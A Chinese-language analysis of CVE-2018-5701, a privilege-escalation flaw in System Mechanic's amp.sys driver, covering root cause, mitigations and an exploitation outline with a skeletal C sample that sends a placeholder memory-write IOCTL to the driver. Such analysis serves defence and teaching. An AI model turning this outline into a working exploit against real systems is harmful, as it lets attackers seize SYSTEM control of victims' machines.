CVE-2018-5701 System Mechanic 内核提权漏洞分析

漏洞概述

CVE-2018-5701是System Mechanic工具软件中amp.sys驱动存在的一个内核提权漏洞。System Mechanic是一款系统优化工具，设计用于识别和处理常见和复杂的系统问题。该漏洞允许攻击者将程序权限提升至SYSTEM级别。

受影响版本

• System Mechanic 16.5.0.125及之前版本

漏洞分析

漏洞位置

漏洞存在于安装的amp.sys驱动中，该驱动实现了不安全的设备控制(IOCTL)接口。

根本原因

amp.sys驱动在处理IOCTL请求时，未对用户模式传入的参数进行充分验证，导致攻击者可以构造恶意IOCTL请求来执行任意内核内存读写操作。

关键漏洞点

1. 未验证的IOCTL分发例程：

   • 驱动未正确验证用户模式传入的缓冲区大小和内容
   • 允许用户模式程序直接操作内核内存

2. 内存操作原语：

   • 漏洞提供了内核内存读写能力
   • 攻击者可以利用这些原语修改内核对象或函数指针

3. 权限提升路径：

   • 通过修改进程令牌或类似结构体，将普通用户权限提升至SYSTEM

漏洞利用技术

利用步骤

1. 获取设备句柄：

   HANDLE hDevice = CreateFileA("\\\\.\\amp", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
   

2. 构造恶意IOCTL请求：

   • 确定漏洞IOCTL控制码
   • 构造包含目标地址和数据的输入缓冲区

3. 执行内核内存操作：

   • 通过DeviceIoControl发送恶意请求
   • 实现内核内存读写

4. 权限提升：

   • 定位当前进程令牌
   • 修改令牌中的权限标志位
   • 或复制SYSTEM进程的令牌

利用代码示例

#include <windows.h>
#include <stdio.h>

#define VULNERABLE_IOCTL 0x9C402564  // 示例IOCTL码，实际需要根据驱动分析确定

typedef struct _MEMORY_OP {
    PVOID Address;
    SIZE_T Size;
    PVOID Buffer;
} MEMORY_OP, *PMEMORY_OP;

BOOL ExploitVulnerability() {
    HANDLE hDevice = CreateFileA("\\\\.\\amp", 
                                GENERIC_READ | GENERIC_WRITE, 
                                0, 
                                NULL, 
                                OPEN_EXISTING, 
                                FILE_ATTRIBUTE_NORMAL, 
                                NULL);
    
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[!] Failed to open device: %d\n", GetLastError());
        return FALSE;
    }
    
    // 构造内存写操作
    MEMORY_OP memOp;
    ULONG_PTR targetAddress = 0xFFFFF12345678; // 示例目标地址
    ULONG_PTR newValue = 0x12345678;
    
    memOp.Address = (PVOID)targetAddress;
    memOp.Size = sizeof(ULONG_PTR);
    memOp.Buffer = &newValue;
    
    DWORD bytesReturned = 0;
    BOOL result = DeviceIoControl(hDevice,
                                 VULNERABLE_IOCTL,
                                 &memOp,
                                 sizeof(memOp),
                                 NULL,
                                 0,
                                 &bytesReturned,
                                 NULL);
    
    if (!result) {
        printf("[!] IOCTL failed: %d\n", GetLastError());
        CloseHandle(hDevice);
        return FALSE;
    }
    
    CloseHandle(hDevice);
    return TRUE;
}

缓解措施

临时解决方案

1. 卸载System Mechanic：

   • 控制面板 > 程序和功能 > 卸载System Mechanic

2. 删除amp.sys驱动：

   • 定位并删除%SystemRoot%\System32\drivers\amp.sys
   • 删除相关注册表项

3. 限制驱动加载：

   • 使用组策略限制非Microsoft签名的驱动加载

长期解决方案

1. 厂商修复：

   • iolo Technologies已在新版本中修复此漏洞
   • 升级至System Mechanic 16.5.0.126或更高版本

2. 驱动开发最佳实践：

   • 实现严格的IOCTL参数验证
   • 使用SeAccessCheck验证调用者权限
   • 实现安全的缓冲区处理

漏洞修复分析

修复方法

1. IOCTL验证增强：

   • 添加对用户模式缓冲区的完整验证
   • 检查缓冲区大小和内容有效性

2. 权限检查：

   • 在执行敏感操作前验证调用者权限
   • 限制只有管理员或SYSTEM可以调用危险IOCTL

3. 内存操作限制：

   • 移除或限制直接内存操作功能
   • 实现安全的代理接口

总结

CVE-2018-5701是一个典型的内核驱动提权漏洞，其根本原因是驱动未对用户模式输入进行充分验证。此类漏洞危害性高，可被用于完全控制系统。驱动开发者应遵循最小权限原则，对所有用户模式输入进行严格验证，并避免暴露危险的内核内存操作接口。